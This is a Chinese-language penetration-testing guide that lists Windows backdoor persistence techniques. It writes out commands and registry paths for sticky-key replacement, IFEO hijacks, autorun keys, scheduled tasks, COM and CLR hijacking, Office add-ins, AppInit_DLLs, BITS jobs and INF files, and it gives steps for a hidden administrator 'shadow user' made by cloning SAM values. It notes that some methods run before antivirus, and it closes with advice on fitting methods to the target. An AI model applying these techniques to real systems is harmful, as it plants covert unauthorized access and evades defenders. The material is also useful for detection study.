windows中常见后门持久化方法总结
字数 2894 2025-08-26 22:11:51
Windows后门持久化方法全面指南
前言
后门持久化是渗透测试中关键的一环,本文总结了Windows系统中常见的后门持久化技术,涵盖从传统方法到高级技巧的各种实现方式。
1. 辅助功能后门
1.1 Shift后门
- 原理:替换Windows辅助功能程序
- 目标程序:
C:\Windows\System32\sethc.exe(粘滞键,快捷键:五次Shift)C:\Windows\System32\utilman.exe(设置中心,快捷键:Win+U)
- 方法:直接替换为cmd.exe或其他后门程序
1.2 映像劫持(IFEO)
- 注册表路径:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options - 操作:
- 创建与目标程序同名的子项
- 添加
debugger键,值为后门程序路径
- 特点:高版本Windows中替换文件受保护,此方法更有效
2. 注册表自启动
2.1 常用自启动项
- 用户级:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunHKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
- 系统级:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceHKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
2.2 Run与RunOnce区别
- Run:每次开机启动
- RunOnce:仅执行一次后自动删除
3. 计划任务
3.1 at命令
AT [\\computername] time [/INTERACTIVE]
[ /EVERY:date[,...] | /NEXT:date[,...]] "command"
- 限制:高版本Windows中任务在后台执行
3.2 schtasks命令
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?
- 优势:任务在前台执行
4. 登录相关持久化
4.1 Userinit
- 注册表路径:
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit - 方法:添加后门程序路径,多个程序用逗号分隔
4.2 Logon Scripts
- 注册表路径:
HKEY_CURRENT_USER\Environment - 键名:
UserInitMprLogonScript - 特点:优先于AV执行,可绕过拦截
4.3 屏幕保护程序
- 注册表路径:
HKEY_CURRENT_USER\Control Panel\Desktop - 关键键值:
SCRNSAVE.EXE- 设置为后门程序ScreenSaveActive- 1启用/0禁用ScreenSaverTimeout- 空闲时间(秒)
5. 服务与用户
5.1 自启动服务
- Metasploit创建:
run metsvc -A - 删除服务:
run metsvc -r
5.2 影子用户
- 创建隐藏用户:
net user test$ test /add net localgroup administrators test$ /add - 修改注册表权限:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users - 复制administrator的F值到test$
- 删除用户:
net user test$ /del
6. 高级持久化技术
6.1 waitfor
- 基本用法:
waitfor test && calc waitfor /s 192.168.163.143 /u qiyou /p qiyou /si test - 持久化:需配合PowerShell脚本实现循环监听
6.2 CLR劫持
- 注册表路径:
HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServer32 - 设置:
SETX COR_ENABLE_PROFILING=1 /M SETX COR_PROFILER={11111111-1111-1111-1111-111111111111} /M - 效果:劫持所有.NET程序
6.3 COM劫持
-
CAccPropServicesClass & MMDeviceEnumerator:
- DLL路径:
%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\test._dl - 注册表:
HKCU\Software\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InprocServer32
- DLL路径:
-
MruPidlList:
注册表:HKCU\Software\Classes\CLSID\{42aedc87-2188-41fd-b9a3-0c966feabec1}\InprocServer32
7. Office系列持久化
7.1 Word WLL
- 路径:
%APPDATA%\Microsoft\Word\Startup - 扩展名:.wll
7.2 Excel XLL
- DLL放入:
%appdata%\Microsoft\AddIns - 注册表:
- Office2010:
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Options - 添加键
OPEN,值:/R test.dll
- Office2010:
7.3 PowerPoint VBA
- DLL放入:
%appdata%\Microsoft\AddIns - 注册表:
HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\PowerPoint\AddIns\test- 键
Autoload=1,Path=DLL路径
8. 其他技术
8.1 文件关联
- 查看关联:
assoc .txt ftype txtfile - 修改:
HKEY_CLASS_ROOT\txtfile\shell\open\command
8.2 AppInit_DLLs
- 注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows - 键值:
AppInit_DLLs=DLL路径LoadAppInit_DLLs=1
8.3 Netsh helper
- 添加方式:
- 命令:
netsh add helper test.dll - 注册表:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
- 命令:
8.4 BITS(后台智能传送服务)
bitsadmin /create test
bitsadmin /addfile test c:\windows\system32\calc.exe c:\Users\qiyou\Desktop\calc.exe
bitsadmin /SetNotifyCmdLine test cmd.exe "cmd.exe /c calc.exe"
bitsadmin /resume test
8.5 INF文件
- 示例calc.inf:
[Version] Signature="$CHICAGO$" AdvancedINF=2.5,"test" [DefaultInstall] RunPreSetupCommands=Command1 [Command1] C:\windows\system32\calc.exe - 执行:
rundll32.exe advpack.dll,LaunchINFSection calc.inf,DefaultInstall - 持久化注册表:
HKEY_CURRENT_USER\Software\Microsoft\IEAK\GroupPolicy\PendingGPOs
后记
本文涵盖了Windows系统中多种后门持久化技术,从基础到高级均有涉及。实际使用时需根据目标环境选择合适的方法,并注意权限和杀软防护等因素。